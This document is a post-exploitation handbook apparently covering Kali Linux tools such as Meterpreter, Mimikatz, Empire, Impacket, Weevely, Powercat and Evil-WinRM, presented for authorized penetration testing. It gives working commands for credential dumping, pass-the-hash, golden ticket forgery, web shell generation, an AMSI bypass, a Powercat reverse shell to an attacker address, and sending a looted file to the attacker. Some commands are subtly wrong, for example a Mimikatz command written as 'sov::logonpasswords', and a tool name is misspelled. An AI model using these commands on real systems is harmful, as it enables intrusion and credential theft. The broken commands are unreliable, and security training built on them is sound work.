A Practical Reference of Tools, Techniques, and Commands

Author: Tapan Kumar Jha

Contact: tapancyberexpert@gmail.com

Table of Contents

Table of Contents	
Introduction	
1. Meterpreter (Metasploit Post-Exploitation)	
2. PowerShell Empire	
3. Mimikatz	
4. PowerSploit.....	
5. BloodHound	
6. Impacket Suite	
7. Weevely.....	
8. Powercat.....	
9. Evil-WinRM.....	

Introduction

This handbook documents the tools found in Kali Linux's Post Exploitation category. For every tool, this volume covers what the tool is, why penetration testers and security analysts use it, what outcome to expect from running it, and practical commands for common use cases. This is Volume 10 of a multi-volume series covering every tool category in Kali Linux.

Note: All tools and commands described here are intended strictly for authorized security testing, educational purposes, and use in environments where the user has explicit permission to test. Unauthorized scanning or access of systems is illegal in most jurisdictions.

1. Meterpreter (Metasploit Post-Exploitation)

Description: Meterpreter is Metasploit's advanced, in-memory payload that provides an extensive post-exploitation command set — file system access, process migration, privilege escalation modules, screenshotting, keylogging, pivoting, and credential harvesting — all over an encrypted channel.

Why We Use It: Used immediately after a successful exploit to interact with the compromised host in a stealthier, more capable way than a plain shell, enabling deeper access, lateral movement, and evidence gathering for the assessment.

Expected Outcome: Detailed access to and control over the compromised host — extracted credentials, screenshots, files, and (where used) a pivot point into the internal network — documented as evidence for the engagement report.

Commands by Use Case

Migrate to a more stable process

```
meterpreter > migrate <PID>
```

Moves the Meterpreter session into another running process (found via 'ps') for stability and reduced detection risk.

Dump password hashes

```
meterpreter > hashdump
```

Extracts the local SAM database hashes from the compromised Windows host for offline cracking.

Set up a pivot into the internal network

```
meterpreter > run autoroute -s 10.10.10.0/24
```

Adds a route through the compromised host's session so further Metasploit modules can reach the internal 10.10.10.0/24 network.

Capture a screenshot of the current desktop

```
meterpreter > screenshot
```

Takes a screenshot of the compromised host's active desktop session and saves it locally for evidence.

2. PowerShell Empire

Description: Empire is a post-exploitation command-and-control framework built around pure PowerShell (Windows) and Python (Linux/macOS) agents, offering encrypted communications, modular post-exploitation capability, and a listener/agent management console.

Why We Use It: Used for post-exploitation and lateral movement in environments where a PowerShell-based, largely fileless approach is preferred to evade endpoint detection that focuses on traditional executable payloads.

Expected Outcome: An interactive 'agent' session on the compromised host through which post-exploitation modules (credential access, lateral movement, persistence) can be run, all communicated over an encrypted C2 channel.

Commands by Use Case

Start a listener

```
(Empire) > listeners  
(Empire: listeners) > uselistener http  
(Empire: listeners/http) > set Host 192.168.1.5  
(Empire: listeners/http) > execute
```

Configures and starts an HTTP-based listener that agents will connect back to.

Generate a launcher/stager

```
(Empire) > usestager multi/launcher  
(Empire: stager/multi/launcher) > set Listener http  
(Empire: stager/multi/launcher) > execute
```

Generates a launcher payload (e.g., a PowerShell one-liner) tied to the configured listener, ready to deliver to the target.

Interact with a checked-in agent and run a module

```
(Empire) > agents  
(Empire) > interact <agent_name>  
(Empire: agent) > usemodule credentials/mimikatz/logonpasswords  
(Empire: agent) > execute
```

Interacts with an active agent session and runs a credential-harvesting module against the compromised host.

3. Mimikatz

Description: Mimikatz is a Windows credential-extraction tool capable of pulling plaintext passwords, NTLM hashes, and Kerberos tickets directly from LSASS memory, and performing attacks such as pass-the-hash, pass-the-ticket, and golden/silver ticket forgery.

Why We Use It: Used after gaining administrative access on a Windows host to extract credentials of other logged-on users (including cached domain admin credentials), which is often the key step enabling lateral movement across a Windows domain.

Expected Outcome: Extracted plaintext passwords, NTLM hashes, and/or Kerberos tickets from memory, which can be reused directly (pass-the-hash/ticket) or cracked offline.

Commands by Use Case

Enable debug privilege and dump logon passwords

```
privilege::debug  
sov::logonpasswords
```

Grants the necessary privilege, then dumps credentials (plaintext where available, else hashes) for all currently logged-on users from LSASS memory.

Perform a pass-the-hash attack

```
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:<hash> /run:cmd.exe
```

Launches a new process (cmd.exe) authenticated as the specified user using only their NTLM hash, without needing the plaintext password.

Create a golden Kerberos ticket

```
kerberos::golden /user:administrator /domain:corp.local /sid:<domain_sid>  
/krbtgt:<krbtgt_hash> /ptt
```

Forges a Kerberos Ticket Granting Ticket using the domain's krbtgt hash, granting persistent, wide-ranging domain access.

4. PowerSploit

Description: PowerSploit is a collection of PowerShell modules for post-exploitation tasks including code execution, privilege escalation checks, credential harvesting, persistence, and reconnaissance, designed to run largely in-memory on Windows hosts.

Why We Use It: Used to perform a range of post-exploitation actions natively through PowerShell (already present on modern Windows systems), reducing the need to drop additional executable tools onto the compromised host.

Expected Outcome: Depending on the module used: local privilege-escalation vectors identified, credentials harvested from memory, or persistence mechanisms established on the compromised host.

Commands by Use Case

Load the module set into a PowerShell session

```
Import-Module .\PowerSploit.psd1
```

Loads PowerSploit's functions into the current PowerShell session, making its cmdlets available for use.

Check for common privilege-escalation vectors

```
Invoke-AllChecks
```

Runs PowerUp's full suite of checks (part of PowerSploit) for common Windows privilege-escalation misconfigurations.

Extract credentials from memory

```
Invoke-Mimikatz -DumpCreds
```

Runs Mimikatz functionality reflectively (in-memory, without writing mimikatz.exe to disk) to dump credentials from the host.

5. BloodHound

Description: BloodHound uses graph theory to reveal hidden and often unintended relationships within an Active Directory environment, visually mapping attack paths (e.g., from a compromised low-privilege user to Domain Admin) based on data collected by its SharpHound collector.

Why We Use It: Used after gaining an initial foothold in an Active Directory environment to identify the shortest and most viable path to high-value targets (Domain Admin, specific servers), which manual enumeration would struggle to find efficiently.

Expected Outcome: A visual graph showing discovered attack paths from the current position of compromise to privileged objects, highlighting exactly which relationships (group memberships, session data, ACLs) make each path possible.

Commands by Use Case

Collect Active Directory data with SharpHound

```
SharpHound.exe -c All
```

Runs the data collector against the domain, gathering user/group/computer/session/ACL data and saving it to a zip file for import.

Import data and analyze in the BloodHound GUI

bloodhound (GUI: File Upload > select the SharpHound output zip)

Loads the collected data into BloodHound's graph database for querying and visualization.

Run a built-in query for attack paths to Domain Admins

BloodHound GUI: Analysis tab > 'Shortest Paths to Domain Admins'

Runs a pre-built Cypher query that highlights the shortest discovered paths from any node to a Domain Admin group.

6. Impacket Suite

Description: Impacket is a collection of Python classes and scripts (psexec.py, wmiexec.py, secretsdump.py, GetUserSPNs.py, and more) for working with Windows network protocols, widely used for remote command execution, credential extraction, and Kerberos attacks.

Why We Use It: Used for a broad range of post-exploitation and lateral-movement tasks against Windows/Active Directory targets from a Linux attack machine, without needing native Windows tools.

Expected Outcome: Depending on the script used: remote command execution on a target, extracted credential material (SAM/NTDS.dit hashes), or Kerberos service ticket hashes suitable for offline cracking (Kerberoasting).

Commands by Use Case

Remote command execution via psexec

psexec.py domain/user:password@192.168.1.10

Uses valid credentials to remotely execute commands on the target via SMB, similar to the classic PsExec tool.

Dump credentials remotely with secretsdump

secretsdump.py domain/user:password@192.168.1.10

Remotely extracts SAM and (if targeting a domain controller) NTDS.dit credential hashes from the target host.

Request Kerberos service tickets for offline cracking

GetUserSPNs.py domain/user:password -dc-ip 192.168.1.1 -request

Requests service tickets for accounts with an SPN set (Kerberoasting) and outputs crackable hashes for tools like Hashcat.

7. Weeveily

Description: Weeveily generates stealthy PHP web shells and provides a corresponding client for interacting with them, offering a set of post-exploitation modules (file browsing, SQL client, port scanning, privilege-escalation checks) run through the web shell.

Why We Use It: Used after achieving file-upload or code-execution access on a web server to maintain a lightweight, obfuscated web shell foothold and continue post-exploitation activity through HTTP rather than a raw reverse shell.

Expected Outcome: Persistent, obfuscated HTTP-based command execution access to the compromised web server, along with results from any post-exploitation modules run through it.

Commands by Use Case

Generate an obfuscated web shell

```
weeveily generate mypassword shell.php
```

Creates a PHP web shell obfuscated to help evade basic signature detection, protected by the specified password.

Connect to a deployed web shell

```
weeveily https://example.com/uploads/shell.php mypassword
```

Connects the Weeveily client to the previously uploaded web shell, opening an interactive command session.

Run a built-in post-exploitation module

```
weeveily_session > :file_find / -name "*.conf"
```

Runs a module (through the connected session) to search the compromised server's filesystem for configuration files.

8. Powercat

Description: Powercat is a PowerShell-native implementation of Netcat-style functionality, supporting reverse/bind shells, file transfer, and port relaying entirely through PowerShell without needing to drop an external binary onto the target.

Why We Use It: Used for simple, low-footprint post-exploitation tasks on Windows hosts — establishing a quick shell or transferring a file — when a full framework like Meterpreter or Empire isn't necessary or has already been detected/blocked.

Expected Outcome: An established reverse or bind shell connection, or a successfully transferred file between attacker and compromised host, using only native PowerShell.

Commands by Use Case

Start a listener on the attacker machine

```
powercat -l -p 4444 -v
```

Starts Powercat in listening mode on the attacker's machine, waiting for an incoming connection on the specified port.

Establish a reverse shell from the target

```
powercat -c 192.168.1.5 -p 4444 -e cmd.exe
```

Run on the compromised host, connects back to the attacker's listener and spawns an interactive cmd.exe shell.

Transfer a file to the target

```
powercat -c 192.168.1.5 -p 4444 -i C:\loot\data.zip
```

Sends the specified file from the compromised host to the attacker's listening Powercat instance.

9. Evil-WinRM

Description: Evil-WinRM is a client tool for interacting with Windows Remote Management (WinRM) services, providing an interactive PowerShell-like shell along with features like file upload/download and loading PowerShell scripts/modules into memory.

Why We Use It: Used when valid credentials (or a hash, via pass-the-hash) are available and the target host has WinRM enabled, providing a clean, feature-rich remote shell without needing to drop additional payloads.

Expected Outcome: An interactive remote PowerShell session on the target host, with the ability to transfer files and load offensive PowerShell modules directly into memory during the session.

Commands by Use Case

Connect with a username and password

```
evil-winrm -i 192.168.1.10 -u administrator -p 'Password123'
```

Opens an interactive WinRM shell session on the target using the supplied credentials.

Connect using pass-the-hash

```
evil-winrm -i 192.168.1.10 -u administrator -H <ntlm_hash>
```

Authenticates to the target's WinRM service using an NTLM hash instead of a plaintext password.

Load a PowerShell script into the session

```
*Evil-WinRM* PS > menu
```

```
*Evil-WinRM* PS > Bypass-4MSI
```

Uses Evil-WinRM's built-in script/module loading capability to load and use offensive PowerShell scripts in memory during the session.